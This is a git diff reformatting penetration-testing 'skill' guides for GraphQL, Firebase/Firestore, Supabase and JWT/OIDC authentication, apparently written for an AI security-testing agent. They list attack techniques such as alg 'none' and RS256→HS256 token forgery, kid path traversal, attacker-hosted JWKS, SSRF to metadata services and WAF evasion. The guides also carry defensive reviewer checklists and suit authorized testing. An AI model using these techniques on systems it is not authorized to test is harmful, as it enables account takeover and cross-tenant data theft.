 - Custom directives (@auth, @private) and plugins often annotate intent but do not enforce; verify actual checks in each resolver path
-</server_plugins>
-</special_contexts>
 
-<chaining_attacks>
+## Chaining Attacks
+
 - GraphQL + IDOR: enumerate IDs via list fields, then fetch or mutate foreign objects
 - GraphQL + CSRF: trigger mutations cross-origin when cookies/auth are accepted without proper checks
 - GraphQL + SSRF: resolvers that fetch URLs (webhooks, metadata) abused to reach internal services
-</chaining_attacks>
 
-<validation>
+## Validation
+
 1. Provide paired requests (owner vs non-owner) differing only in identifiers/roles that demonstrate unauthorized access or mutation.
 2. Prove resolver-level bypass: show top-level checks present but child field/edge exposes data.
 3. Demonstrate transport parity: reproduce via HTTP and WS (subscriptions) or via persisted queries.
 4. Minimize payloads; document exact selection sets and variable shapes used.
-</validation>
 
-<false_positives>
+## False Positives
+
 - Introspection available only on non-production/stub endpoints
 - Public fields by design with documented scopes
 - Aggregations or counts without sensitive attributes
 - Properly enforced depth/complexity and per-resolver authorization across transports
-</false_positives>
 
-<impact>
+## Impact
+
 - Cross-account/tenant data exposure and unauthorized state changes
 - Bypass of federation boundaries enabling lateral access across services
 - Credential/session leakage via lax CORS/CSRF around GraphiQL/Playground
-</impact>
 
-<pro_tips>
+## Pro Tips
+
 1. Always diff the same operation under multiple principals with aliases in one request.
 2. Sprinkle __typename to map types quickly when schema is hidden.
 3. Attack edges: child resolvers often skip auth compared to parents.
@@ -209,7 +211,7 @@ query {
 8. Keep payloads small and structured; restructure rather than enlarge to evade WAFs.
 9. Validate defenses by code/config review where possible; don’t trust directives alone.
 10. Prove impact with role-separated, transport-separated, minimal PoCs.
-</pro_tips>
 
-<remember>GraphQL security is resolver security. If any resolver on the path to a field fails to bind subject, object, and action, the graph leaks. Validate every path, every transport, every environment.</remember>
-</graphql_protocol_guide>
+## Remember
+
+GraphQL security is resolver security. If any resolver on the path to a field fails to bind subject, object, and action, the graph leaks. Validate every path, every transport, every environment.

strix/skills/scan_modes/deep.md

@@ -1,5 +1,6 @@
-<scan_mode>
-DEEP SCAN MODE - Exhaustive Security Assessment
+# DEEP SCAN MODE
+
+Exhaustive Security Assessment
 
 This mode is for thorough security reviews where finding vulnerabilities is critical.
 
@@ -142,4 +143,3 @@ MINDSET:
 - Thorough - test every parameter, every endpoint, every edge case
 - Persistent - if one approach fails, try ten more
 - Holistic - understand how components interact to find systemic issues
-</scan_mode>

strix/skills/scan_modes/quick.md

@@ -1,5 +1,6 @@
-<scan_mode>
-QUICK SCAN MODE - Rapid Security Assessment
+# QUICK SCAN MODE
+
+Rapid Security Assessment
 
 This mode is optimized for fast feedback. Focus on HIGH-IMPACT vulnerabilities with minimal overhead.
 
@@ -60,4 +61,3 @@ MINDSET:
 - Prioritize breadth over depth on critical areas
 - If something looks exploitable, validate quickly and move on
 - Don't get stuck - if an attack vector isn't yielding results quickly, pivot
-</scan_mode>

strix/skills/scan_modes/standard.md

@@ -1,5 +1,6 @@
-<scan_mode>
-STANDARD SCAN MODE - Balanced Security Assessment
+# STANDARD SCAN MODE
+
+Balanced Security Assessment
 
 This mode provides thorough coverage with a structured methodology. Balance depth with efficiency.
 
@@ -88,4 +89,3 @@ MINDSET:
 - Document as you go - findings and areas tested
 - Validate everything - no assumptions about exploitability
 - Think about business impact, not just technical severity
-</scan_mode>

strix/skills/technologies/firebase_firestore.md

@@ -1,9 +1,11 @@
-<firebase_firestore_security_guide>
-<title>FIREBASE / FIRESTORE — ADVERSARIAL TESTING AND EXPLOITATION</title>
+# FIREBASE / FIRESTORE — ADVERSARIAL TESTING AND EXPLOITATION
 
-<critical>Most impactful findings in Firebase apps arise from weak Firestore/Realtime Database rules, Cloud Storage exposure, callable/onRequest Functions trusting client input, incorrect ID token validation, and over-trusted App Check. Treat every client-supplied field and token as untrusted. Bind subject/tenant on the server, not in the client.</critical>
+## Critical
+
+Most impactful findings in Firebase apps arise from weak Firestore/Realtime Database rules, Cloud Storage exposure, callable/onRequest Functions trusting client input, incorrect ID token validation, and over-trusted App Check. Treat every client-supplied field and token as untrusted. Bind subject/tenant on the server, not in the client.
+
+## Scope
 
-<scope>
 - Firestore (documents/collections, rules, REST/SDK)
 - Realtime Database (JSON tree, rules)
 - Cloud Storage (rules, signed URLs)
@@ -11,23 +13,23 @@
 - Cloud Functions (onCall/onRequest, triggers)
 - Hosting rewrites, CDN/caching, CORS
 - App Check (attestation) and its limits
-</scope>
 
-<methodology>
+## Methodology
+
 1. Extract project config from client (apiKey, authDomain, projectId, appId, storageBucket, messagingSenderId). Identify all used Firebase products.
 2. Obtain multiple principals: unauth, anonymous (if enabled), basic user A, user B, and any staff/admin if available. Capture their ID tokens.
 3. Build Resource × Action × Principal matrix across Firestore/Realtime/Storage/Functions. Exercise every action via SDK and raw REST (googleapis) to detect parity gaps.
 4. Start from list/query paths (where allowed) to seed IDs; then swap document paths, tenants, and user IDs across principals and transports.
-</methodology>
 
-<architecture>
+## Architecture
+
 - Firestore REST: https://firestore.googleapis.com/v1/projects/<project>/databases/(default)/documents/<path>
 - Storage REST: https://storage.googleapis.com/storage/v1/b/<bucket>
 - Auth: Google-signed ID tokens (iss accounts.google.com/securetoken.google.com/<project>), aud <project/app-id>; identity is in sub/uid.
 - Rules engines: separate for Firestore, Realtime DB, and Storage; Functions bypass rules when using Admin SDK.
-</architecture>
 
-<auth_and_tokens>
+## Auth And Tokens
+
 - ID token verification must enforce issuer, audience (project), signature (Google JWKS), expiration, and optionally App Check binding when used.
 - Custom claims are appended by Admin SDK; client-supplied claims are ignored by Auth but may be trusted by app code if copied into docs.
 - Pitfalls:
@@ -37,9 +39,9 @@
 - Tests:
   - Replay tokens across environments/projects; expect strict aud/iss rejection server-side.
   - Call Functions with and without Authorization; verify identical checks on both onCall and onRequest variants.
-</auth_and_tokens>
 
-<firestore_rules>
+## Firestore Rules
+
 - Rules are not filters: a query must include constraints that make the rule true for all returned documents; otherwise reads fail. Do not rely on client to include where clauses correctly.
 - Prefer ownership derived from request.auth.uid and server data, not from client payload fields.
 - Common gaps:
@@ -56,22 +58,22 @@
   - Compare results for users A/B on identical queries; diff counts and IDs.
   - Attempt cross-tenant reads: where orgId == otherOrg; try queries without org filter to confirm denial.
   - Write-path: set/patch with foreign ownerId/orgId; attempt to flip privilege flags.
-</firestore_rules>
 
-<firestore_queries>
+## Firestore Queries
+
 - Enumerate via REST to avoid SDK client-side constraints; try structured and REST filters.
 - Probe composite index requirements: UI-driven queries may hide missing rule coverage when indexes are enabled but rules are broad.
 - Explore collection group queries (collectionGroup) that may bypass per-collection rules if not mirrored.
 - Use startAt/endAt/in/array-contains to probe rule edges and pagination cursors for cross-tenant bleed.
-</firestore_queries>
 
-<realtime_database>
+## Realtime Database
+
 - Misconfigured rules frequently expose entire JSON trees. Probe https://<project>.firebaseio.com/.json with and without auth.
 - Confirm rules for read/write use auth.uid and granular path checks; avoid .read/.write: true or auth != null at high-level nodes.
 - Attempt to write privilege-bearing nodes (roles, org membership) and observe downstream effects (e.g., Cloud Functions triggers).
-</realtime_database>
 
-<cloud_storage>
+## Cloud Storage
+
 - Rules parallel Firestore but apply to object paths. Common issues:
   - Public reads on sensitive buckets/paths.
   - Signed URLs with long TTL, no content-disposition controls; replayable across tenants.
@@ -80,9 +82,9 @@
   - GET gs:// paths via https endpoints without auth; verify content-type and Content-Disposition: attachment.
   - Generate and reuse signed URLs across accounts and paths; try case/URL-encoding variants.
   - Upload HTML/SVG and verify X-Content-Type-Options: nosniff; check for script execution.
-</cloud_storage>
 
-<cloud_functions>
+## Cloud Functions
+
 - onCall provides context.auth automatically; onRequest must verify ID tokens explicitly. Admin SDK bypasses rules; all ownership/tenant checks must be enforced in code.
 - Common gaps:
   - Trusting client uid/orgId from request body instead of context.auth.
@@ -93,46 +95,46 @@
   - Call both onCall and equivalent onRequest endpoints with varied tokens and bodies; expect identical decisions.
   - Create crafted docs to trigger privilege-granting functions; verify that server re-derives subject/tenant before acting.
   - Attempt internal fetches (SSRF) via Functions to project/metadata endpoints.
-</cloud_functions>
 
-<app_check>
+## App Check
+
 - App Check is not a substitute for authorization. Many apps enable App Check enforcement on client SDKs but do not verify on custom backends.
 - Bypasses:
   - Unenforced paths: REST calls directly to googleapis endpoints with ID token succeed regardless of App Check.
   - Mobile reverse engineering: hook client and reuse ID token flows without attestation.
 - Tests:
   - Compare SDK vs REST behavior with/without App Check headers; confirm no elevated authorization via App Check alone.
-</app_check>
 
-<tenant_isolation>
+## Tenant Isolation
+
 - Apps often implement multi-tenant data models (orgs/<orgId>/...). Bind tenant from server context (membership doc or custom claim), not from client payload.
 - Tests:
   - Vary org header/subdomain/query while keeping token fixed; verify server denies cross-tenant access.
   - Export/report Functions: ensure queries execute under caller scope; signed outputs must encode tenant and short TTL.
-</tenant_isolation>
 
-<bypass_techniques>
+## Bypass Techniques
+
 - Content-type switching: JSON vs form vs multipart to hit alternate code paths in onRequest Functions.
 - Parameter/field pollution: duplicate JSON keys; last-one-wins in many parsers; attempt to sneak privilege fields.
 - Caching/CDN: Hosting rewrites or proxies that key responses without Authorization or tenant headers.
 - Race windows: write then read before background enforcements (e.g., post-write claim synchronizations) complete.
-</bypass_techniques>
 
-<blind_channels>
+## Blind Channels
+
 - Firestore: use error shape, document count, and ETag/length to infer existence under partial denial.
 - Storage: length/timing differences on signed URL attempts leak validity.
 - Functions: constant-time comparisons vs variable messages reveal authorization branches.
-</blind_channels>
 
-<tooling_and_automation>
+## Tooling And Automation
+
 - SDK + REST: httpie/curl + jq for REST; Firebase emulator and Rules Playground for rapid iteration.
 - Mobile: apktool/objection/frida to extract config and hook SDK calls; inspect network logs for endpoints and tokens.
 - Rules analysis: script rule probes for common patterns (auth != null, missing field validation, list vs get parity).
 - Functions: fuzz onRequest endpoints with varied content-types and missing/forged Authorization; verify CORS and token handling.
 - Storage: enumerate prefixes; test signed URL generation and reuse patterns.
-</tooling_and_automation>
 
-<reviewer_checklist>
+## Reviewer Checklist
+
 - Do Firestore/Realtime/Storage rules derive subject and tenant from auth, not client fields?
 - Are list/query rules aligned with per-doc checks (no broad list leaks)?
 - Are privilege-bearing fields immutable or server-only (forbidden in writes)?
@@ -140,30 +142,30 @@
 - Are Admin SDK operations scoped by server-side checks (ownership/tenant)?
 - Is App Check treated as advisory, not authorization, across all paths?
 - Are Hosting/CDN cache keys bound to Authorization/tenant to prevent leaks?
-</reviewer_checklist>
 
-<validation>
+## Validation
+
 1. Provide owner vs non-owner Firestore queries showing unauthorized access or metadata leak.
 2. Demonstrate Cloud Storage read/write beyond intended scope (public object, signed URL reuse, or list exposure).
 3. Show a Function accepting forged/foreign identity (wrong aud/iss) or trusting client uid/orgId.
 4. Document minimal reproducible requests with roles/tokens used and observed deltas.
-</validation>
 
-<false_positives>
+## False Positives
+
 - Public collections/objects documented and intended.
 - Rules that correctly enforce per-doc checks with matching query constraints.
 - Functions verifying tokens and ignoring client-supplied identifiers.
 - App Check enforced but not relied upon for authorization.
-</false_positives>
 
-<impact>
+## Impact
+
 - Cross-account and cross-tenant data exposure.
 - Unauthorized state changes via Functions or direct writes.
 - Exfiltration of PII/PHI and private files from Storage.
 - Durable privilege escalation via misused custom claims or triggers.
-</impact>
 
-<pro_tips>
+## Pro Tips
+
 1. Treat apiKey as project identifier only; identity must come from verified ID tokens.
 2. Start from rules: read them, then prove gaps with diffed owner/non-owner requests.
 3. Prefer REST for parity checks; SDKs can mask errors via client-side filters.
@@ -171,7 +173,7 @@
 5. Probe collectionGroup queries and list rules; many leaks live there.
 6. Functions are the authority boundary—enforce subject/tenant there even if rules exist.
 7. Keep concise PoCs: one owner vs non-owner request per surface that clearly demonstrates the unauthorized delta.
-</pro_tips>
 
-<remember>Authorization must hold at every layer: rules, Functions, and Storage. Bind subject and tenant from verified tokens and server data, never from client payload or UI assumptions. Any gap becomes a cross-account or cross-tenant vulnerability.</remember>
-</firebase_firestore_security_guide>
+## Remember
+
+Authorization must hold at every layer: rules, Functions, and Storage. Bind subject and tenant from verified tokens and server data, never from client payload or UI assumptions. Any gap becomes a cross-account or cross-tenant vulnerability.

strix/skills/technologies/supabase.md

@@ -1,9 +1,11 @@
-<supabase_security_guide>
-<title>SUPABASE — ADVERSARIAL TESTING AND EXPLOITATION</title>
+# SUPABASE — ADVERSARIAL TESTING AND EXPLOITATION
 
-<critical>Supabase exposes Postgres through PostgREST, Realtime, GraphQL, Storage, Auth (GoTrue), and Edge Functions. Most impactful findings come from mis-scoped Row Level Security (RLS), unsafe RPCs, leaked service_role keys, lax Storage policies, GraphQL overfetching, and Edge Functions trusting headers or tokens without binding to issuer/audience/tenant.</critical>
+## Critical
+
+Supabase exposes Postgres through PostgREST, Realtime, GraphQL, Storage, Auth (GoTrue), and Edge Functions. Most impactful findings come from mis-scoped Row Level Security (RLS), unsafe RPCs, leaked service_role keys, lax Storage policies, GraphQL overfetching, and Edge Functions trusting headers or tokens without binding to issuer/audience/tenant.
+
+## Scope
 
-<scope>
 - PostgREST: table CRUD, filters, embeddings, RPC (remote functions)
 - RLS: row ownership/tenant isolation via policies and auth.uid()
 - Storage: buckets, objects, signed URLs, public/private policies
@@ -11,23 +13,23 @@
 - GraphQL: pg_graphql over Postgres schema with RLS interaction
 - Auth (GoTrue): JWTs, cookie/session, magic links, OAuth flows
 - Edge Functions (Deno): server-side code calling Supabase with secrets
-</scope>
 
-<methodology>
+## Methodology
+
 1. Inventory surfaces: REST /rest/v1, Storage /storage/v1, GraphQL /graphql/v1, Realtime wss, Auth /auth/v1, Functions https://<project>.functions.supabase.co/.
 2. Obtain tokens for: unauth (anon), basic user, other user, and (if disclosed) admin/staff; enumerate anon key exposure and verify if service_role leaked anywhere.
 3. Build a Resource × Action × Principal matrix and test each via REST and GraphQL. Confirm parity across channels and content-types (json/form/multipart).
 4. Start with list/search/export endpoints to gather IDs, then attempt direct reads/writes across principals, tenants, and transports. Validate RLS and function guards.
-</methodology>
 
-<architecture>
+## Architecture
+
 - Project endpoints: https://<ref>.supabase.co; REST at /rest/v1/<table>, RPC at /rest/v1/rpc/<fn>.
 - Headers: apikey: <anon-or-service>, Authorization: Bearer <JWT>. Anon key only identifies the project; JWT binds user context.
 - Roles: anon, authenticated; service_role bypasses RLS and must never be client-exposed.
 - auth.uid(): current user UUID claim; policies must never trust client-supplied IDs over server context.
-</architecture>
 
-<rls>
+## Rls
+
 - Enable RLS on every non-public table; absence or “permit-all” policies → bulk exposure.
 - Common gaps:
   - Policies check auth.uid() for read but forget UPDATE/DELETE/INSERT.
@@ -38,17 +40,17 @@
   - Compare results for two users: GET /rest/v1/<table>?select=*&Prefer=count=exact; diff row counts and IDs.
   - Try cross-tenant: add &org_id=eq.<other_org> or use or=(org_id.eq.other,org_id.is.null).
   - Write-path: PATCH/DELETE single row with foreign id; INSERT with foreign owner_id then read.
-</rls>
 
-<postgrest_and_rest>
+## Postgrest And Rest
+
 - Filters: eq, neq, lt, gt, ilike, or, is, in; embed relations with select=*,profile(*); exploit embeddings to overfetch linked rows if resolvers skip per-row checks.
 - Headers to know: Prefer: return=representation (echo writes), Prefer: count=exact (exposure via counts), Accept-Profile/Content-Profile to select schema.
 - IDOR patterns: /rest/v1/<table>?select=*&id=eq.<other_id>; query alternative keys (slug, email) and composite keys.
 - Search leaks: generous LIKE/ILIKE filters + lack of RLS → mass disclosure.
 - Mass assignment: if RPC not used, PATCH can update unintended columns; verify restricted columns via database permissions/policies.
-</postgrest_and_rest>
 
-<rpc_functions>
+## Rpc Functions
+
 - RPC endpoints map to SQL functions. SECURITY DEFINER bypasses RLS unless carefully coded; SECURITY INVOKER respects caller.
 - Anti-patterns:
   - SECURITY DEFINER + missing owner checks → vertical/horizontal bypass.
@@ -58,9 +60,9 @@
   - Call /rest/v1/rpc/<fn> as different users with foreign ids in body.
   - Remove or alter JWT entirely (Authorization: Bearer <anon>) to see if function still executes.
   - Validate that functions perform explicit ownership/tenant checks inside SQL, not only in docs.
-</rpc_functions>
 
-<storage>
+## Storage
+
 - Buckets: public vs private; objects live in storage.objects with RLS-like policies.
 - Find misconfigs:
   - Public buckets holding sensitive data: GET https://<ref>.supabase.co/storage/v1/object/public/<bucket>/<path>
@@ -70,9 +72,9 @@
 - Abuse vectors:
   - Content-type/XSS: upload HTML/SVG served as text/html or image/svg+xml; confirm X-Content-Type-Options: nosniff and Content-Disposition: attachment.
   - Signed URL replay across accounts/buckets if validation is lax.
-</storage>
 
-<realtime>
+## Realtime
+
 - Endpoint: wss://<ref>.supabase.co/realtime/v1. Join channels with apikey + Authorization.
 - Risks:
   - Channel names derived from table/schema/filters leaking other users’ updates when RLS or channel guards are weak.
@@ -80,9 +82,9 @@
 - Tests:
   - Subscribe to public:realtime changes on protected tables; confirm row data visibility aligns with RLS.
   - Attempt joining other users’ presence/broadcast channels (e.g., room:<user_id>, org:<id>).
-</realtime>
 
-<graphql>
+## Graphql
+
 - Endpoint: /graphql/v1 using pg_graphql with RLS. Risks:
   - Introspection reveals schema relations; ensure it’s intentional.
   - Overfetch via nested relations where field resolvers fail to re-check ownership/tenant.
@@ -90,9 +92,9 @@
 - Tests:
   - Compare REST vs GraphQL responses for the same principal and query shape.
   - Query deep nested fields and connections; verify RLS holds at each edge.
-</graphql>
 
-<auth_and_tokens>
+## Auth And Tokens
+
 - GoTrue issues JWTs with claims (sub=uid, role, aud=authenticated). Validate on server: issuer, audience, exp, signature, and tenant context.
 - Pitfalls:
   - Storing tokens in localStorage → XSS exfiltration; refresh mismanagement leading to long-lived sessions.
@@ -101,9 +103,9 @@
 - Tests:
   - Replay tokens across services; check audience/issuer pinning.
   - Try downgraded tokens (expired/other audience) against custom endpoints.
-</auth_and_tokens>
 
-<edge_functions>
+## Edge Functions
+
 - Deno-based functions often initialize server-side Supabase client with service_role. Risks:
   - Trusting Authorization/apikey headers without verifying JWT against issuer/audience.
   - CORS: wildcard origins with credentials; reflected Authorization in responses.
@@ -112,38 +114,38 @@
   - Call functions with and without Authorization; compare behavior.
   - Try foreign resource IDs in function payloads; verify server re-derives user/tenant from JWT.
   - Attempt to reach internal endpoints (metadata services, project endpoints) via function fetch.
-</edge_functions>
 
-<tenant_isolation>
+## Tenant Isolation
+
 - Ensure every query joins or filters by tenant_id/org_id derived from JWT context, not client input.
 - Tests:
   - Change subdomain/header/path tenant selectors while keeping JWT tenant constant; look for cross-tenant data.
   - Export/report endpoints: confirm queries execute under caller scope; signed outputs must encode tenant and short TTL.
-</tenant_isolation>
 
-<bypass_techniques>
+## Bypass Techniques
+
 - Content-type switching: application/json ↔ application/x-www-form-urlencoded ↔ multipart/form-data to hit different code paths.
 - Parameter pollution: duplicate keys in JSON/query; PostgREST chooses last/first depending on parser.
 - GraphQL+REST parity probing: protections often drift; fetch via the weaker path.
 - Race windows: parallel writes to bypass post-insert ownership updates.
-</bypass_techniques>
 
-<blind_channels>
+## Blind Channels
+
 - Use Prefer: count=exact and ETag/length diffs to infer unauthorized rows.
 - Conditional requests (If-None-Match) to detect object existence without content exposure.
 - Storage signed URLs: timing/length deltas to map valid vs invalid tokens.
-</blind_channels>
 
-<tooling_and_automation>
+## Tooling And Automation
+
 - PostgREST: httpie/curl + jq; enumerate tables with known names; fuzz filters (or=, ilike, neq, is.null).
 - GraphQL: graphql-inspector, voyager; build deep queries to test field-level enforcement; complexity/batching tests.
 - Realtime: custom ws client; subscribe to suspicious channels/tables; diff payloads per principal.
 - Storage: enumerate bucket listing APIs; script signed URL generation/use patterns.
 - Auth/JWT: jwt-cli/jose to validate audience/issuer; replay against Edge Functions.
 - Policy diffing: maintain request sets per role and compare results across releases.
-</tooling_and_automation>
 
-<reviewer_checklist>
+## Reviewer Checklist
+
 - Are all non-public tables RLS-enabled with explicit SELECT/INSERT/UPDATE/DELETE policies?
 - Do policies derive subject/tenant from JWT (auth.uid(), tenant claim) rather than client payload?
 - Do RPC functions run as SECURITY INVOKER, or if DEFINER, do they enforce ownership/tenant inside?
@@ -152,30 +154,30 @@
 - Is GraphQL parity verified with REST; are nested resolvers guarded per field?
 - Are Edge Functions verifying JWT (issuer/audience) and never exposing service_role to clients?
 - Are CDN/cache keys bound to Authorization/tenant to prevent cache leaks?
-</reviewer_checklist>
 
-<validation>
+## Validation
+
 1. Provide owner vs non-owner requests for REST/GraphQL showing unauthorized access (content or metadata).
 2. Demonstrate a mis-scoped RPC or Storage signed URL usable by another user/tenant.
 3. Confirm Realtime or GraphQL exposure matches missing policy checks.
 4. Document minimal reproducible requests and role contexts used.
-</validation>
 
-<false_positives>
+## False Positives
+
 - Tables intentionally public (documented) with non-sensitive content.
 - RLS-enabled tables returning only caller-owned rows; mismatched UI not backed by API responses.
 - Signed URLs with very short TTL and audience binding.
 - Edge Functions verifying tokens and re-deriving context before acting.
-</false_positives>
 
-<impact>
+## Impact
+
 - Cross-account/tenant data exposure and unauthorized state changes.
 - Exfiltration of PII/PHI/PCI, financial and billing artifacts, private files.
 - Privilege escalation via RPC and Edge Functions; durable access via long-lived tokens.
 - Regulatory and contractual violations stemming from tenant isolation failures.
-</impact>
 
-<pro_tips>
+## Pro Tips
+
 1. Start with /rest/v1 list/search; counts and embeddings reveal policy drift fast.
 2. Treat UUIDs and signed URLs as untrusted; validate binding to subject/tenant and TTL.
 3. Focus on RPC and Edge Functions—they often centralize business logic and skip RLS.
@@ -183,7 +185,7 @@
 5. Keep role-separated request corpora and diff responses across deployments.
 6. Never assume apikey == identity; only JWT binds subject. Prove it.
 7. Prefer concise PoCs: one request per role that clearly shows the unauthorized delta.
-</pro_tips>
 
-<remember>RLS must bind subject and tenant on every path, and server-side code (RPC/Edge) must re-derive identity from a verified token. Any gap in binding, audience/issuer verification, or per-field enforcement becomes a cross-account or cross-tenant vulnerability.</remember>
-</supabase_security_guide>
+## Remember
+
+RLS must bind subject and tenant on every path, and server-side code (RPC/Edge) must re-derive identity from a verified token. Any gap in binding, audience/issuer verification, or per-field enforcement becomes a cross-account or cross-tenant vulnerability.

strix/skills/vulnerabilities/authentication_jwt.md

@@ -1,136 +1,139 @@
-<authentication_jwt_guide>
-<title>AUTHENTICATION AND JWT/OIDC</title>
+# AUTHENTICATION AND JWT/OIDC
 
-<critical>JWT/OIDC failures often enable token forgery, token confusion, cross-service acceptance, and durable account takeover. Do not trust headers, claims, or token opacity without strict validation bound to issuer, audience, key, and context.</critical>
+## Critical
+
+JWT/OIDC failures often enable token forgery, token confusion, cross-service acceptance, and durable account takeover. Do not trust headers, claims, or token opacity without strict validation bound to issuer, audience, key, and context.
+
+## Scope
 
-<scope>
 - Web/mobile/API authentication using JWT (JWS/JWE) and OIDC/OAuth2
 - Access vs ID tokens, refresh tokens, device/PKCE/Backchannel flows
 - First-party and microservices verification, gateways, and JWKS distribution
-</scope>
 
-<methodology>
+## Methodology
+
 1. Inventory issuers and consumers: identity providers, API gateways, services, mobile/web clients.
 2. Capture real tokens (access and ID) for multiple roles. Note header, claims, signature, and verification endpoints (/.well-known, /jwks.json).
 3. Build a matrix: Token Type × Audience × Service; attempt cross-use (wrong audience/issuer/service) and observe acceptance.
 4. Mutate headers (alg, kid, jku/x5u/jwk, typ/cty/crit), claims (iss/aud/azp/sub/nbf/iat/exp/scope/nonce), and signatures; verify what is actually enforced.
-</methodology>
 
-<discovery_techniques>
-<endpoints>
+## Discovery Techniques
+
+### Endpoints
+
 - Well-known: /.well-known/openid-configuration, /oauth2/.well-known/openid-configuration
 - Keys: /jwks.json, rotating key endpoints, tenant-specific JWKS
 - Auth: /authorize, /token, /introspect, /revoke, /logout, device code endpoints
 - App: /login, /callback, /refresh, /me, /session, /impersonate
-</endpoints>
 
-<token_features>
-- Headers: {% raw %}{"alg":"RS256","kid":"...","typ":"JWT","jku":"...","x5u":"...","jwk":{...}}{% endraw %}
-- Claims: {% raw %}{"iss":"...","aud":"...","azp":"...","sub":"user","scope":"...","exp":...,"nbf":...,"iat":...}{% endraw %}
+### Token Features
+
+- Headers: `{"alg":"RS256","kid":"...","typ":"JWT","jku":"...","x5u":"...","jwk":{...}}`
+- Claims: `{"iss":"...","aud":"...","azp":"...","sub":"user","scope":"...","exp":...,"nbf":...,"iat":...}`
 - Formats: JWS (signed), JWE (encrypted). Note unencoded payload option ("b64":false) and critical headers ("crit").
-</token_features>
-</discovery_techniques>
 
-<exploitation_techniques>
-<signature_verification>
+## Exploitation Techniques
+
+### Signature Verification
+
 - RS256→HS256 confusion: change alg to HS256 and use the RSA public key as HMAC secret if algorithm is not pinned
-- "none" algorithm acceptance: set {% raw %}"alg":"none"{% endraw %} and drop the signature if libraries accept it
+- "none" algorithm acceptance: set `"alg":"none"` and drop the signature if libraries accept it
 - ECDSA malleability/misuse: weak verification settings accepting non-canonical signatures
-</signature_verification>
 
-<header_manipulation>
-- kid injection: path traversal {% raw %}../../../../keys/prod.key{% endraw %}, SQL/command/template injection in key lookup, or pointing to world-readable files
+### Header Manipulation
+
+- kid injection: path traversal `../../../../keys/prod.key`, SQL/command/template injection in key lookup, or pointing to world-readable files
 - jku/x5u abuse: host attacker-controlled JWKS/X509 chain; if not pinned/whitelisted, server fetches and trusts attacker keys
 - jwk header injection: embed attacker JWK in header; some libraries prefer inline JWK over server-configured keys
 - SSRF via remote key fetch: exploit JWKS URL fetching to reach internal hosts
-</header_manipulation>
 
-<key_and_cache_issues>
+### Key And Cache Issues
+
 - JWKS caching TTL and key rollover: accept obsolete keys; race rotation windows; missing kid pinning → accept any matching kty/alg
 - Mixed environments: same secrets across dev/stage/prod; key reuse across tenants or services
 - Fallbacks: verification succeeds when kid not found by trying all keys or no keys (implementation bugs)
-</key_and_cache_issues>
 
-<claims_validation_gaps>
+### Claims Validation Gaps
+
 - iss/aud/azp not enforced: cross-service token reuse; accept tokens from any issuer or wrong audience
 - scope/roles fully trusted from token: server does not re-derive authorization; privilege inflation via claim edits when signature checks are weak
 - exp/nbf/iat not enforced or large clock skew tolerance; accept long-expired or not-yet-valid tokens
 - typ/cty not enforced: accept ID token where access token required (token confusion)
-</claims_validation_gaps>
 
-<token_confusion_and_oidc>
+### Token Confusion And Oidc
+
 - Access vs ID token swap: use ID token against APIs when they only verify signature but not audience/typ
 - OIDC mix-up: redirect_uri and client mix-ups causing tokens for Client A to be redeemed at Client B
 - PKCE downgrades: missing S256 requirement; accept plain or absent code_verifier
 - State/nonce weaknesses: predictable or missing → CSRF/logical interception of login\n- Device/Backchannel flows: codes and tokens accepted by unintended clients or services
-</token_confusion_and_oidc>
 
-<refresh_and_session>
+### Refresh And Session
+
 - Refresh token rotation not enforced: reuse old refresh token indefinitely; no reuse detection
 - Long-lived JWTs with no revocation: persistent access post-logout
 - Session fixation: bind new tokens to attacker-controlled session identifiers or cookies
-</refresh_and_session>
 
-<transport_and_storage>
+### Transport And Storage
+
 - Token in localStorage/sessionStorage: susceptible to XSS exfiltration; cookie vs header trade-offs with SameSite/CSRF
 - Insecure CORS: wildcard origins with credentialed requests expose tokens and protected responses
 - TLS and cookie flags: missing Secure/HttpOnly; lack of mTLS or DPoP/"cnf" binding permits replay from another device
-</transport_and_storage>
-</exploitation_techniques>
 
-<advanced_techniques>
-<microservices_and_gateways>
+## Advanced Techniques
+
+### Microservices And Gateways
+
 - Audience mismatch: internal services verify signature but ignore aud → accept tokens for other services
 - Header trust: edge or gateway injects X-User-Id; backend trusts it over token claims
 - Asynchronous consumers: workers process messages with bearer tokens but skip verification on replay
-</microservices_and_gateways>
 
-<jws_edge_cases>
+### Jws Edge Cases
+
 - Unencoded payload (b64=false) with crit header: libraries mishandle verification paths
 - Nested JWT (JWT-in-JWT) verification order errors; outer token accepted while inner claims ignored
-</jws_edge_cases>
 
-<special_contexts>
-<mobile>
+### Special Contexts
+
+#### Mobile
+
 - Deep-link/redirect handling bugs leak codes/tokens; insecure WebView bridges exposing tokens
 - Token storage in plaintext files/SQLite/Keychain/SharedPrefs; backup/adb accessible
-</mobile>
 
-<sso_federation>
+#### Sso Federation
+
 - Misconfigured trust between multiple IdPs/SPs, mixed metadata, or stale keys lead to acceptance of foreign tokens
-</sso_federation>
-</special_contexts>
 
-<chaining_attacks>
+### Chaining Attacks
+
 - XSS → token theft → replay across services with weak audience checks
 - SSRF → fetch private JWKS → sign tokens accepted by internal services
 - Host header poisoning → OIDC redirect_uri poisoning → code capture
 - IDOR in sessions/impersonation endpoints → mint tokens for other users
-</chaining_attacks>
 
-<validation>
+### Validation
+
 1. Show forged or cross-context token acceptance (wrong alg, wrong audience/issuer, or attacker-signed JWKS).
 2. Demonstrate access token vs ID token confusion at an API.
 3. Prove refresh token reuse without rotation detection or revocation.
 4. Confirm header abuse (kid/jku/x5u/jwk) leading to key selection under attacker control.
 5. Provide owner vs non-owner evidence with identical requests differing only in token context.
-</validation>
 
-<false_positives>
+### False Positives
+
 - Token rejected due to strict audience/issuer enforcement
 - Key pinning with JWKS whitelist and TLS validation
 - Short-lived tokens with rotation and revocation on logout
 - ID token not accepted by APIs that require access tokens
-</false_positives>
 
-<impact>
+### Impact
+
 - Account takeover and durable session persistence
 - Privilege escalation via claim manipulation or cross-service acceptance
 - Cross-tenant or cross-application data access
 - Token minting by attacker-controlled keys or endpoints
-</impact>
 
-<pro_tips>
+### Pro Tips
+
 1. Pin verification to issuer and audience; log and diff claim sets across services.
 2. Attempt RS256→HS256 and "none" first only if algorithm pinning is unclear; otherwise focus on header key control (kid/jku/x5u/jwk).
 3. Test token reuse across all services; many backends only check signature, not audience/typ.
@@ -141,7 +144,7 @@
 8. Validate every acceptance path: gateway, service, worker, WebSocket, and gRPC.
 9. Favor minimal PoCs that clearly show cross-context acceptance and durable access.
 10. When in doubt, assume verification differs per stack (mobile vs web vs gateway) and test each.
-</pro_tips>
 
